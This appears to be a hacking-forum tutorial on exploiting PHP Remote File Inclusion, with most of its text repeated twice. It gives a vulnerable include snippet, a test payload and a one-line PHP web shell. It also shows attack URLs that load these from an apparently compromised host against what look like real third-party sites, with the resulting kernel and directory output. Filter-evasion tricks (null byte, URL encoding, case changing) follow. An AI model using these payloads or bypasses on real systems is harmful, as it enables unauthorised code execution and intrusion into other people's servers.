Today I'm going to be showing you how to exploit RFI vulnerabilities.
Remote File Inclusion
Important Factors
Exploiting RFI is fairly simple, the hard part is finding it + filter evasion (if nessecary). Similar to Local File Inclusion, instead of including a local file, you include a remote file that executes commands on the webserver. Here's what the vulnerable snippet looks like.
Now there's a couple factors that we need to go over. allow_url_fopen and allow_url_include must be enabled in the website's PHP configuration.
Source
Exploiting RFI
Now once you've confirmed that these options are enabled, here's how you'd go through with exploiting it.
Now this isn't mandatory, but I uploaded 2 scrips on a shelled webhost to test my sites for RFI vulnerabilities. One is called RFI.txt, and one is vuln.txt.
RFI.txt
vuln.txt
The first one should show the kernel information, but I use it as a vulnerability test. The second one is my command shell, once I've confirmed that the site is executing my remote file.
So mine looks like this...
Spoiler (Click to View)
And as you can see, I get the kernel version. That means that my remote file was successfully included, and got executed on the webserver.
Now we can use vuln.txt as a command shell.
Spoiler (Click to View)
Now you can include your shell, or whatever script you want to execute.
So mine looks like this...
Spoiler (Click to View)
Filter Evasion
Now some sites have firewalls installed to prevent attacks like this. Here's a couple methods to get around them..
Null Byte
URL Encoding
* Case Changing
Or you can use a combination of them all...
Well there's my short tut on exploiting RFI, enjoy and happy hacking.
Spoiler (Click to View)
Remote File Inclusion
Quote:Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS)
Data Theft/Manipulation
Important Factors
Exploiting RFI is fairly simple, the hard part is finding it + filter evasion (if nessecary). Similar to Local File Inclusion, instead of including a local file, you include a remote file that executes commands on the webserver. Here's what the vulnerable snippet looks like.
Code
<?
$page =$_GET['page'];
include($page);
?>Now there's a couple factors that we need to go over. allow_url_fopen and allow_url_include must be enabled in the website's PHP configuration.
Quote:This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.
Source
Exploiting RFI
Now once you've confirmed that these options are enabled, here's how you'd go through with exploiting it.
Now this isn't mandatory, but I uploaded 2 scrips on a shelled webhost to test my sites for RFI vulnerabilities. One is called RFI.txt, and one is vuln.txt.
RFI.txt
Code
<? system('uname -a'); ?>vuln.txt
Code
<? system($_GET['cmd']); ?>The first one should show the kernel information, but I use it as a vulnerability test. The second one is my command shell, once I've confirmed that the site is executing my remote file.
Code
http://www.site.com/index.php?page=http://www.site.com/RFI.txtSo mine looks like this...
Code
http://www.looking-better.com/index.php?page=http://medimove.co.in/RFI.txtSpoiler (Click to View)
Code
Linux box715.bluehost.com 2.6.32-46.1.BHsmp #1 SMP Tue Sep 6 12:18:02 MDT 2011 x86_64 x86_64 x86_64 GNU/LinuxAnd as you can see, I get the kernel version. That means that my remote file was successfully included, and got executed on the webserver.
Now we can use vuln.txt as a command shell.
Code
http://www.site.com/index.php?page=http://www.site.com/vuln.txt&cmd=[COMMAND HERE]Code
http://www.looking-better.com/index.php?page=http://medimove.co.in/vuln.txt&cmd=ls -aSpoiler (Click to View)
Code
. .. .htaccess 1946734.html 400.shtml 401.shtml 403.shtml 404.shtml 500.php 500.shtml about.php about.txt administrator cache cgi-bin cgi-bin.php components contact.php contact.txt error_log favicon.ico fractionsofmemories gallery gallery.php gallery.txt getpost.php hereislondon hereisparis home.php home.txt images includes index.php js.php language libraries logs media modules mysecretmakeover orders plugins robots.txt site_admin sivanshapira slide style.php templates terms.php thanks.php tmp upload.php uploadform.php vidtur wp-content xmlrpcNow you can include your shell, or whatever script you want to execute.
Code
http://www.site.com/index.php?page=http://www.site.com/shell.txtSo mine looks like this...
Code
www.looking-better.com/index.php?page=http://medimove.co.in/winning.txtSpoiler (Click to View)
Filter Evasion
Now some sites have firewalls installed to prevent attacks like this. Here's a couple methods to get around them..
Null Byte
Code
http://www.stite.com/index.php?page=http://www.site.com/shell.txt - Blocked
http://www.stite.com/index.php?page=http://www.site.com/shell.txt?%00 - BypassedURL Encoding
Code
http://www.stite.com/index.php?page=http://www.site.com/shell.txt - Blocked
http://www.stite.com/index.php?page=http%3A%2f%2fwww.site.com%2fshell.txt - Bypassed* Case Changing
Code
http://www.stite.com/index.php?page=http://www.site.com/shell.txt - Blocked
http://www.stite.com/index.php?page=HtTP://wWw.sItE.CoM/shell.txt - BypassedOr you can use a combination of them all...
Code
http://www.stite.com/index.php?page=httP%3A%2f%2fwww.SitE.com%2fshell.txt?%00Well there's my short tut on exploiting RFI, enjoy and happy hacking.
Spoiler (Click to View)



![[Image: KihR4.png]](https://i.imgur.com/KihR4.png)
![[Image: yYeTr.png]](https://i.imgur.com/yYeTr.png)
![[Image: buloo.png]](https://i.imgur.com/buloo.png)
![[Image: Rtkpf.png]](https://i.imgur.com/Rtkpf.png)